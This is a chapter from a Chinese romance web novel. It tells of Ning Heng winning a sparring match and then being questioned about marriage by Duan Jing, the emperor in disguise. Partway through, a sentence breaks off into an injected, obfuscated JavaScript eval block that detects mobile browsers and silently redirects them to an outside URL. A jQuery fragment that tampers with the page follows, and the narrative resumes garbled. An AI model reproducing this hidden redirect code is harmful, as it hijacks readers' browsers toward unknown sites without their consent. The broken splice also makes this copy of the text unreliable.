78. 心上人
作品:《兄长他为何那般》 赵元彦的招数正派,训练有素,而宁珩的动作变幻莫测,出手的角度极为刁钻。
虽然他已经有所收敛,但赵承奕仍然能看出,这些招式原本应都是奔着一击致命去的,若赵元彦露出一个破绽,怕不就是他的毙命之时。
他微眯了眯浑浊的双眼,难得地面露沉思,这宁家,绝对不像表面看起来那么简单。
虞秋雁的心却是时刻被战局牵引着,赵元彦倒是打得火热,一点力气都不收了,可把她愁的,就算知道宁珩的实力看上去不输给自家儿子,但毕竟他那张脸还是太具有欺骗性了,对上五大三粗的赵元彦,旁观者的心会偏到哪一方简直不必多说。
直鏖战了一刻多钟,两人才分出了胜负。
赵元彦怔愣地摸了摸自己的脖子,还没反应过来,就见眼前的青年飘然落在了离他三丈远的地方,比斗时狠厉的气息早已收敛在一身清冷温文的皮囊之下,他微俯下身,拱手道:“承让了,二哥。”
旁边几个兄弟见状,立马嘻嘻哈哈地围了上来,不遗余力地嘲笑着自家一向武力值超群的兄弟。
“二哥,你这身手退步了呀,连一个文人都打不过,还是回去好好练练吧!”
赵元祯也不禁上去拍了拍他的肩膀,感慨道:“真真是……你说文采不如人家也就算了,好歹武功还算不错,现在可倒好,说也说不过人家,打也打不过人家了!”
赵元彦见着他们几个幸灾乐祸的样子就烦,不耐地冲他们挥了挥拳头:“老五,我看你最近倒很有进益,正好我还没打过瘾呢,你再上来试试我的身手呗,看看二哥到底有没有退步!”
赵元敬忙扯着身边三哥的袖子躲到了他背后,嘿嘿笑道:“还是罢了,罢了,二哥的实力小弟还能不清楚吗?这次比试输了,一定只是意外,意外!”
赵元彦见他支棱不过半刻钟的样子,嗤笑了一声,反道:“说是意外也太侮辱我了,这次打输了,确实是我技不如人。瑾行,你这身手确实不俗,不入我营里真是可惜了。今日到底随意了些,改日等我拿上擅使的万仞刀,再来和你打!”
宁珩见他面上确没有忿忿之色,也放心了许多,原本他是打算不着痕迹地输给赵元彦的,他毕竟是镇国公府未来的当家人,如果自己以后想娶阿沅,是免不了要和他打交道的,结个善缘才好方便行事。
但他看赵元彦的性子,并不是个乐意让别人输给自己的,若是放水被他看出来,反而惹他不喜就麻烦了。
且他和自己武艺的差距确实不大,若真刀真枪地对上,他也不一定会输给自己,现在能赢这一场,也不过是因为赵元彦不熟悉他的路数,且开场时力道有所收敛,才让他占了便宜。
虞秋雁见两人都毫发无伤,这才把心好好地放回了肚子里去。
她悄悄狠剜了自家不省事的儿子一眼,都多大的人了,还能一时热血上头的,把待客之道都忘到哪去了!
再回头看宁珩时,见他宠辱不惊的淡然模样,她心中更是多了几分真切的喜爱,这孩子文武兼修,且为人稳重,行事颇有分寸,胜不骄败不馁,未来不可限量。
这么好的孩子,也不知道有没有婚配,可惜府里的两个女孩子都嫁了出去,赵家旁枝也没什么适龄女子,不然她是真的想和宁珩亲上加亲,促成一段良缘了。
虞秋雁有些遗憾地收回了目光,这回终于是能招呼人去开宴了。
宁姝去学堂了还没回来,虞秋雁念在宁珩难得上门一趟,总归是要见妹妹一面的,散席后便把他留了下来,预备晚上再让他们兄妹二人好好地聚一聚,就在梧桐榭中,又让其他人也不要去搅扰他们。
这样的私下会面,其实是有些不大妥当的,哪怕时下风气开明了不少,留外男在自家未出阁的女子身边总是不合礼数的。
但虞秋雁长在边塞,思想原就和传统的中原人不一样,又想着宁珩和阿姝自幼一起长大,虽无兄妹之实,但也曾有兄妹之名,两人间的关系和寻常人自然不可同日而语,也无须忌讳那许多。
只是这回,她却是想岔了。
没有血缘关系的人,又怎能像亲兄妹一样看待?
只怕最后,反而会引狼入室,悔不当初。
……
宁珩原本想着在阿沅回来后,该如何与她说自己已经率先与叶冕明言他无意结亲一事,却没想到临近傍晚时,他等来的不是心心念念的人,而是另一名不速之客。
“璟少爷,您怎么来了?”
逢春正在给青年奉茶,就见一抹熟悉的玄色衣角飘落进了眼帘,她慌忙停下手中动作,惊讶地上前迎接。
因段璟先前有过吩咐,怕她们不慎露了破绽,让她们在镇国公府时都不必向他行礼,也只能称呼他为“少爷”,断然不能出现“陛下”二字,哪怕宁姝不在时也是一样。
“自然是……想来就来了。”
段璟似笑非笑道,目光精准地落在院中姿仪挺拔的青年身上,略带深意道:“这位是……?”
沐烟正要上前介绍,却见坐得稳稳当当的青年先一步站起身来,向段璟颔首致礼后温声道:“鄙人宁珩,是阿沅的养兄。”
“阿沅?”段璟在嘴里咀嚼了一遍这陌生的称谓,唇角的笑意不知何时落了下去。
宁珩容色不变,仍温声解释道:“这是家母为妹妹取的小名,通常只有我们家里人会这样唤她。”
段璟幽深的凤眸里飞快地掠过了一丝不快,这人明里暗里都在彰显着自己与昭昭的亲密,究竟是真的蠢还是有意挑衅?
他眯了眯眼,暗恨自己还没说出昭昭身世,不然这里哪还有他唤什么“阿沅”的份,当然是“昭昭”更好听!
见他只是挑了挑眉不说话,对面的青年脸上露出恰到好处的疑惑:“不知您是……”
段璟扯了扯嘴角,手边折扇轻摇,端是一派风流蕴藉贵公子的行头,轻笑道:“宁公子看不出来么?我私以为,自己和阿姝长得还是有些相像的。”
宁珩闻言,恍然道:“您就是阿沅在信中与我提过的,她的嫡亲兄长——端璟公子?”
只听前面半句话,段璟心中还有些畅意的,但偏偏对对面的人又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157980|195482||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光明正大说出了他的化名,虽然他知道这人应当不知道自己的身份,多说这一句应只是无心之举,但他含笑的嘴角还是微微僵硬了一瞬,幸而有折扇挡着,才未显端倪。
暗自咬了咬牙,段璟唇边的笑容又扩大了些许,但深邃的凤眸中却是难得失了原先游刃有余的试探之色,变得更加复杂难辨。
“宁公子真是聪慧,不愧是吕山长的高徒啊。”
明明是夸耀之语,从他口中说出却没有半分起伏,倒显得有些冷然。
“端公子,也认识老师吗?”宁珩面露讶色。
“我自然——”段璟顿了顿,咽回了到嘴的字眼,“是不认识的,但吕山长名满天下,又有谁人没听过他的名号呢?宁公子能被他收作弟子,定是有什么过人之处吧。”
宁珩温和地笑了笑,含蓄道:“过人之处倒谈不上,只是侥幸得了老师几分赏识罢了。”
“欸,这话可不能这么说,吕山长的眼光之高,无人不知,何曾收过才质平庸之辈?宁公子也不必过于自谦。”
段璟话音刚落,还不待面前人反应,就突然转了话题:“不知宁公子——可有婚配?”
宁珩这回是真的愣了一下,脸上含笑的假面也露出了一丝裂痕,但他很快反应过来,唇畔再次挂上恰到好处的笑容,只是声线微微泛冷:“不曾。”
“那真是巧了,我身边倒有许多可堪婚配、才貌俱佳的女子,不如改日介绍给宁公子?”
他这话不对。
宁珩墨黑的星眸中暗色深浓,他前一脚上门,段璟后一脚也过来了,话里话外还总是意有所指,竟是有想要给他赐婚的意思,这绝非一个初识恩人之子的人应有的举止——难道,他察觉到自己对阿沅的心思了?
他心下微沉,但眼前气度雍容的男子还在紧紧盯着自己,再不答恐显得自己心里有鬼,只能先温声谢绝:“多谢端公子好意,只是宁某——已经有心上人了。”
院内的氛围难掩诡异,沐烟几人候在一旁面面相觑,别说她们不熟悉的宁珩了,就说陛下,往日在梧桐榭时从没有像今日这样锋芒毕露的,句句饱含深意,倒像是在针对姑娘这位养兄。
段璟也被他这话打了个措手不及,心中狐疑不决,难道是他想得太多了,这宁家小子对昭昭是单纯的兄妹之情?
他想到两日前暗卫汇报上来的宁珩与昭昭单独相处时的情景,还是觉得有哪里不对,哪家兄妹会像他们这般亲密,难舍难分的?
正欲进一步开口问是哪家姑娘时,院门外先传来了一道清灵中却微微发紧的声音——
“你说……你有、心上人了?”
梧桐榭中所有人的目光齐齐向外投去,段璟倒是还好些,左右他也只是言语间试探了对方几分,并没有怎么为难宁珩,心里也不发虚。
但他对面的青年却是猝然站起了身,急惶地往外快走了几步,但很快意识到了自己的失态,硬生生慢下了脚步,只是视线一直紧紧地盯着不远处面露震惊的少女身上,似是有百般话语哽在心头,却只能欲说还休地凝望着她。

